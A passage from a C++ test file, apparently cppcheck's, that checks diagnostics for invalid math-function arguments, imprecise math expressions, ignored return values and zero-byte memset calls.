\"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -0.1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -0.1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -0.1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -0.1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -0.1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -0.1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -0.1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -0.1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -0.1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1.1 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.1 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1.1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(0) << std::endl;\\n\"\n \" std::cout << logf(0.) << std::endl;\\n\"\n \" std::cout << logl(0.0) << std::endl;\\n\"\n \" std::cout << log10(0.0) << std::endl;\\n\"\n \" std::cout << log10f(0) << std::endl;\\n\"\n \" std::cout << log10l(0.) << std::endl;\\n\"\n \" std::cout << log2(0.) << std::endl;\\n\"\n \" std::cout << log2f(0.0) << std::endl;\\n\"\n \" std::cout << log2l(0) << std::endl;\\n\"\n \" std::cout << log1p(-1.) << std::endl;\\n\"\n \" std::cout << log1pf(-1.0) << std::endl;\\n\"\n \" std::cout << log1pl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Invalid log() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:26]: (error) Invalid log10f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:25]: (error) Invalid log2l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value 0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value 0. to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value 0.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value 0.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value 0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value 0. to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value 0. to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value 0.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value 0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1. to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(1E-3) << std::endl;\\n\"\n \" std::cout << logf(1E-3) << std::endl;\\n\"\n \" std::cout << logl(1E-3) << std::endl;\\n\"\n \" std::cout << log10(1E-3) << std::endl;\\n\"\n \" std::cout << log10f(1E-3) << std::endl;\\n\"\n \" std::cout << log10l(1E-3) << std::endl;\\n\"\n \" std::cout << log2(1E-3) << std::endl;\\n\"\n \" std::cout << log2f(1E-3) << std::endl;\\n\"\n \" std::cout << log2l(1E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E-3) << std::endl;\\n\"\n \" std::cout << logf(1.0E-3) << std::endl;\\n\"\n \" std::cout << logl(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E+3) << std::endl;\\n\"\n \" std::cout << logf(1.0E+3) << std::endl;\\n\"\n \" std::cout << logl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1p(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pf(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0f) << std::endl;\\n\"\n \" std::cout << log10(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0f) << std::endl;\\n\"\n \" std::cout << log2(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0f) << std::endl;\\n\"\n \" std::cout << log1p(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0f) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string *log(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3473 - no warning if \"log\" is a variable\n check(\"Fred::Fred() : log(0) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5748\n check(\"void f() { foo.log(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_acos() {\n // acos, acosf, acosl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return acos(-1) \\n\"\n \" + acos(0.1) \\n\"\n \" + acos(0.0001) \\n\"\n \" + acos(0.01) \\n\"\n \" + acos(1.0E-1) \\n\"\n \" + acos(-1.0E-1) \\n\"\n \" + acos(+1.0E-1) \\n\"\n \" + acos(0.1E-1) \\n\"\n \" + acos(+0.1E-1) \\n\"\n \" + acos(-0.1E-1) \\n\"\n \" + acosf(-1) \\n\"\n \" + acosf(0.1) \\n\"\n \" + acosf(0.0001) \\n\"\n \" + acosf(0.01) \\n\"\n \" + acosf(1.0E-1) \\n\"\n \" + acosf(-1.0E-1) \\n\"\n \" + acosf(+1.0E-1) \\n\"\n \" + acosf(0.1E-1) \\n\"\n \" + acosf(+0.1E-1) \\n\"\n \" + acosf(-0.1E-1) \\n\"\n \" + acosl(-1) \\n\"\n \" + acosl(0.1) \\n\"\n \" + acosl(0.0001) \\n\"\n \" + acosl(0.01) \\n\"\n \" + acosl(1.0E-1) \\n\"\n \" + acosl(-1.0E-1) \\n\"\n \" + acosl(+1.0E-1) \\n\"\n \" + acosl(0.1E-1) \\n\"\n \" + acosl(+0.1E-1) \\n\"\n \" + acosl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(1.1) << std::endl;\\n\"\n \" std::cout << acosf(1.1) << std::endl;\\n\"\n \" std::cout << acosl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid acos() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid acosf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid acosl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(-1.1) << std::endl;\\n\"\n \" std::cout << acosf(-1.1) << std::endl;\\n\"\n \" std::cout << acosl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid acos() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid acosf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid acosl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_asin() {\n // asin, asinf, asinl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return asin(1) \\n\"\n \" + asin(-1) \\n\"\n \" + asin(0.1) \\n\"\n \" + asin(0.0001) \\n\"\n \" + asin(0.01) \\n\"\n \" + asin(1.0E-1) \\n\"\n \" + asin(-1.0E-1) \\n\"\n \" + asin(+1.0E-1) \\n\"\n \" + asin(0.1E-1) \\n\"\n \" + asin(+0.1E-1) \\n\"\n \" + asin(-0.1E-1) \\n\"\n \" + asinf(1) \\n\"\n \" + asinf(-1) \\n\"\n \" + asinf(0.1) \\n\"\n \" + asinf(0.0001) \\n\"\n \" + asinf(0.01) \\n\"\n \" + asinf(1.0E-1) \\n\"\n \" + asinf(-1.0E-1) \\n\"\n \" + asinf(+1.0E-1) \\n\"\n \" + asinf(0.1E-1) \\n\"\n \" + asinf(+0.1E-1) \\n\"\n \" + asinf(-0.1E-1) \\n\"\n \" + asinl(1) \\n\"\n \" + asinl(-1) \\n\"\n \" + asinl(0.1) \\n\"\n \" + asinl(0.0001) \\n\"\n \" + asinl(0.01) \\n\"\n \" + asinl(1.0E-1) \\n\"\n \" + asinl(-1.0E-1) \\n\"\n \" + asinl(+1.0E-1) \\n\"\n \" + asinl(0.1E-1) \\n\"\n \" + asinl(+0.1E-1) \\n\"\n \" + asinl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(1.1) << std::endl;\\n\"\n \" std::cout << asinf(1.1) << std::endl;\\n\"\n \" std::cout << asinl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid asin() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid asinf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid asinl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(-1.1) << std::endl;\\n\"\n \" std::cout << asinf(-1.1) << std::endl;\\n\"\n \" std::cout << asinl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid asin() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid asinf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid asinl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_pow() {\n // pow, powf, powl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,-10) << std::endl;\\n\"\n \" std::cout << powf(0,-10) << std::endl;\\n\"\n \" std::cout << powl(0,-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and -10 to pow() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and -10 to powf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and -10 to powl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,10) << std::endl;\\n\"\n \" std::cout << powf(0,10) << std::endl;\\n\"\n \" std::cout << powl(0,10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_atan2() {\n // atan2\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(1,1) ;\\n\"\n \" std::cout << atan2(-1,-1) ;\\n\"\n \" std::cout << atan2(0.1,1) ;\\n\"\n \" std::cout << atan2(0.0001,100) ;\\n\"\n \" std::cout << atan2(0.0,1e-1) ;\\n\"\n \" std::cout << atan2(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2(0.1E-1,3) ;\\n\"\n \" std::cout << atan2(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2f(1,1) ;\\n\"\n \" std::cout << atan2f(-1,-1) ;\\n\"\n \" std::cout << atan2f(0.1,1) ;\\n\"\n \" std::cout << atan2f(0.0001,100) ;\\n\"\n \" std::cout << atan2f(0.0,1e-1) ;\\n\"\n \" std::cout << atan2f(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2f(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2f(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2f(0.1E-1,3) ;\\n\"\n \" std::cout << atan2f(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2f(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2l(1,1) ;\\n\"\n \" std::cout << atan2l(-1,-1) ;\\n\"\n \" std::cout << atan2l(0.1,1) ;\\n\"\n \" std::cout << atan2l(0.0001,100) ;\\n\"\n \" std::cout << atan2l(0.0,1e-1) ;\\n\"\n \" std::cout << atan2l(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2l(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2l(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2l(0.1E-1,3) ;\\n\"\n \" std::cout << atan2l(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2l(-0.1E-1,8) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(0,0) << std::endl;\\n\"\n \" std::cout << atan2f(0,0) << std::endl;\\n\"\n \" std::cout << atan2l(0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and 0 to atan2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and 0 to atan2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and 0 to atan2l() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n }\n\n void mathfunctionCall_fmod() {\n // fmod, fmodl, fmodf\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (error) Invalid fmod() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:29]: (error) Invalid fmodf() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:29]: (error) Invalid fmodl() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing values 1.0 and 0 to fmod() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 1.0 and 0 to fmodf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 1.0 and 0 to fmodl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_precision() {\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1);\\n\"\n \" print(log(1 + x));\\n\"\n \" print(1 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1.0);\\n\"\n \" print(log(1.0 + x));\\n\"\n \" print(1.0 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:12]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(3 + x*f(a)) - 1);\\n\"\n \" print(log(x*4 + 1));\\n\"\n \" print(1 - erf(34*x + f(x) - c));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(2*exp(x) - 1);\\n\"\n \" print(1 - erf(x)/2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkIgnoredReturnValue() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::warning).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:8]: (warning) Return value of function foo::mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" foo x;\\n\"\n \" x.mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function x.mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"bool mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition, but it returns a value. Assume it is the one specified in the library.\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition which returns void!\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" class mystrcmp { mystrcmp() {} };\\n\" // strcmp is a constructor definition here\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(mystrcmp(a, b));\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" bool b = mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6194\n check(\"void foo() {\\n\"\n \" MyStrCmp mystrcmp(x, y);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6197\n check(\"void foo() {\\n\"\n \" abc::def.mystrcmp(a,b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6233\n check(\"int main() {\\n\"\n \" auto lambda = [](double value) {\\n\"\n \" double rounded = floor(value + 0.5);\\n\"\n \" printf(\\\"Rounded value = %f\\\\n\\\", rounded);\\n\"\n \" };\\n\"\n \" lambda(13.3);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6669\n check(\"void foo(size_t size) {\\n\"\n \" void * res{malloc(size)};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7447\n check(\"void foo() {\\n\"\n \" int x{mystrcmp(a,b)};\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7905\n check(\"void foo() {\\n\"\n \" int x({mystrcmp(a,b)});\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // don't crash\n \" DEBUG(123)(mystrcmp(a,b))(fd);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n check(\"struct teststruct {\\n\"\n \" int testfunc1() __attribute__ ((warn_unused_result)) { return 1; }\\n\"\n \" [[nodiscard]] int testfunc2() { return 1; }\\n\"\n \" void foo() { testfunc1(); testfunc2(); }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" teststruct TestStruct1;\\n\"\n \" TestStruct1.testfunc1();\\n\"\n \" TestStruct1.testfunc2();\\n\"\n \" return 0;\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Return value of function testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:4:31]: (warning) Return value of function testfunc2() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:8:17]: (warning) Return value of function TestStruct1.testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:9:17]: (warning) Return value of function TestStruct1.testfunc2() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n // #9006\n check(\"template uint8_t b(std::tuple d) {\\n\"\n \" std::tuple c{std::move(d)};\\n\"\n \" return std::get<0>(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int x; };\\n\"\n \"template \\n\"\n \"A f(int x, Ts... xs) {\\n\"\n \" return {std::move(x), static_cast(xs)...};\\n\"\n \"}\\n\"\n \"A g() { return f(1); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8412 - unused operator result\n check(\"void foo() {\\n\"\n \" !mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:4]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" delete *v.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int __attribute__((pure)) p_foo(int);\\n\" // #12697\n \"int __attribute__((const)) c_foo(int);\\n\"\n \"void f() {\\n\"\n \" p_foo(0);\\n\"\n \" c_foo(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Return value of function p_foo() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:5:5]: (warning) Return value of function c_foo() is not used. [ignoredReturnValue]\\n\",\n errout_str());\n }\n\n void checkIgnoredErrorCode() {\n const char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::style).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Error code from the return value of function mystrcmp() is not used. [ignoredReturnErrorCode]\\n\", errout_str());\n }\n\n void memsetZeroBytes() {\n check(\"void f() {\\n\"\n \" memset(p, 10, 0x0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6269 false positives in case of overloaded standard library functions\n check(\"class c {\\n\"\n \" void memset( int i );\\n\"\n \" void f( void ) {\\n\"\n \" memset( 0 );\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7285\n check(\"void f() {\\n\"\n \" memset(&tm, sizeof(tm), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n }\n\n void memsetInvalid2ndParam() {\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 1.0f, 40);\\n\"\n \" int* is2 = new 